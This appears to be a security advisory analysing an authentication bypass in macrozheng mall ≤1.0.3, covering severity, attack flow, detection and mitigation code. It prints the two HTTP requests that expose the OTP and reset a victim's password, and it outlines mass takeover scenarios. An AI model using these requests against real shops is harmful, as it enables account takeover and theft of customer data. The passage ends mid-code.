EUVD-2026-5713: Critical Authentication Bypass Vulnerability Analysis

Executive Summary

EUVD-2026-5713 represents a critical authentication bypass vulnerability in macrozheng mall (versions ≤1.0.3) that enables complete account takeover through a fundamentally flawed password reset mechanism. With a CVSS 4.0 base score of 9.3 (Critical), this vulnerability poses an immediate and severe threat to all deployments of the affected e-commerce platform.

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1. Vulnerability Assessment and Severity Evaluation

Technical Classification

• Vulnerability Type: Authentication Bypass / Broken Authentication (CWE-287)
• Sub-classification: Insecure Password Reset Mechanism (CWE-640)
• CVSS 4.0 Score: 9.3 (Critical)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)

Severity Justification

The 9.3 critical rating is warranted due to:

1. Zero Authentication Requirement: Attackers need no credentials or prior access
2. Complete Account Takeover: Full compromise of confidentiality and integrity
3. Trivial Exploitation: No specialized tools or advanced techniques required
4. Mass Exploitation Potential: Automated attacks against entire user databases
5. Network-Based Attack Vector: Remotely exploitable without physical access

Core Security Failures

The vulnerability exhibits multiple fundamental security design flaws:

• OTP Exposure: One-time passwords returned directly in API responses
• Insufficient Identity Verification: No validation of telephone number ownership
• Missing Authentication Context: No session binding or user verification
• Lack of Rate Limiting: (Implied) No mention of brute-force protections
• Insecure Direct Object Reference: Telephone numbers used as sole identifiers

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2. Attack Vectors and Exploitation Methods

Primary Attack Vector

Unauthenticated Password Reset Exploitation

Attack Flow:
1. Attacker identifies target user's telephone number
2. Attacker initiates password reset via mall-portal API
3. System generates OTP and returns it in API response
4. Attacker submits password reset with exposed OTP
5. System validates only OTP-to-phone mapping
6. Password successfully reset without identity verification
7. Complete account takeover achieved

Exploitation Methodology

Phase 1: Reconnaissance

POST /api/mall-portal/sso/getAuthCode HTTP/1.1
Host: vulnerable-mall-instance.example
Content-Type: application/json

{
  "telephone": "+1234567890"
}

Expected Vulnerable Response:

{
  "code": 200,
  "message": "success",
  "data": {
    "authCode": "123456",
    "telephone": "+1234567890"
  }
}

Phase 2: Password Reset

POST /api/mall-portal/sso/resetPassword HTTP/1.1
Host: vulnerable-mall-instance.example
Content-Type: application/json

{
  "telephone": "+1234567890",
  "authCode": "123456",
  "newPassword": "AttackerControlled123!"
}

Advanced Attack Scenarios

Scenario 1: Mass Account Enumeration and Takeover

• Automated scanning of telephone number ranges
• Batch password reset operations
• Creation of credential databases for resale
• Estimated exploitation time: < 5 seconds per account

Scenario 2: Targeted High-Value Account Compromise

• Social engineering to obtain target telephone numbers
• Compromise of administrator or merchant accounts
• Access to financial data, customer PII, and business intelligence
• Potential for supply chain attacks through merchant accounts

Scenario 3: Credential Stuffing Preparation

• Mass password resets to known values
• Subsequent credential stuffing attacks on related services
• Cross-platform account compromise leveraging password reuse

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3. Affected Systems and Software Versions

Confirmed Affected Versions

• macrozheng mall: Versions 1.0.3 and all prior releases
• Component: mall-portal module (SSO/authentication subsystem)

Deployment Context

macrozheng/mall is a comprehensive e-commerce platform built on:

• Spring Boot framework
• Microservices architecture
• RESTful API design
• Commonly deployed in:
  • Chinese e-commerce markets
  • Small-to-medium enterprise deployments
  • Educational/demonstration environments
  • Custom e-commerce implementations

Exposure Assessment

Potential Impact Scope:

• Public-facing e-commerce platforms
• Customer databases containing PII and payment information
• Merchant/vendor accounts with elevated privileges
• Administrative interfaces accessible post-compromise
• Integration points with payment processors and logistics systems

Detection Methods

Identifying Vulnerable Instances:

1. Version Detection:

   # Check Maven/Gradle dependencies
   grep -r "mall-portal" pom.xml
   # Look for version ≤ 1.0.3
   

2. API Endpoint Testing (authorized testing only):

   curl -X POST https://target/api/mall-portal/sso/getAuthCode \
     -H "Content-Type: application/json" \
     -d '{"telephone":"test"}'
   # Vulnerable if OTP returned in response
   

3. Network Traffic Analysis:

   • Monitor for OTP values in HTTP responses
   • Identify password reset flows lacking proper authentication

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4. Recommended Mitigation Strategies

Immediate Actions (Emergency Response)

Priority 1: Disable Vulnerable Functionality

// Temporary mitigation - disable password reset endpoint
@RestController
public class EmergencyPatch {
    @PostMapping("/api/mall-portal/sso/resetPassword")
    public ResponseEntity<?> temporaryDisable() {
        return ResponseEntity.status(503)
            .body("Password reset temporarily disabled for security maintenance");
    }
}

Priority 2: Implement Emergency Monitoring

• Enable comprehensive logging of all password reset attempts
• Deploy real-time alerting for multiple reset requests
• Monitor for suspicious patterns (sequential phone numbers, high frequency)

Short-Term Remediation (1-7 Days)

1. Secure OTP Handling

Never expose OTPs in API responses:

// CORRECT Implementation
public ResponseEntity<?> sendAuthCode(String telephone) {
    String otp = generateSecureOTP();
    
    // Store OTP server-side with expiration
    otpService.storeOTP(telephone, otp, Duration.ofMinutes(5));
    
    // Send via SMS (never return in response)
    smsService.sendOTP(telephone, otp);
    
    return ResponseEntity.ok(new GenericResponse("OTP sent to registered number"));
}

2. Implement Multi-Factor Identity Verification

public class SecurePasswordReset {
    public ResponseEntity<?> initiateReset(String telephone) {
        // Verify telephone is registered
        User user = userRepository.findByTelephone(telephone);
        if (user == null) {
            // Return generic message to prevent enumeration
            return ResponseEntity.ok("If this number is registered, you will receive an OTP");
        }
        
        // Generate secure session token
        String resetToken = secureTokenGenerator.generate();
        
        // Store with multiple verification factors
        resetSessionRepository.save(new ResetSession(
            resetToken,
            user.getId(),
            telephone,
            LocalDateTime.now().plusMinutes(15)
        ));
        
        // Send OTP via SMS only
        String otp = generateOTP();
        smsService.send(telephone, otp);
        otpRepository.save(resetToken, otp);
        
        return ResponseEntity.ok(Map.of("resetToken", resetToken));
    }
    
    public ResponseEntity<?> verifyAndReset(
            String resetToken, 
            String otp, 
            String newPassword) {
        
        // Verify reset session exists and is valid
        ResetSession session = resetSessionRepository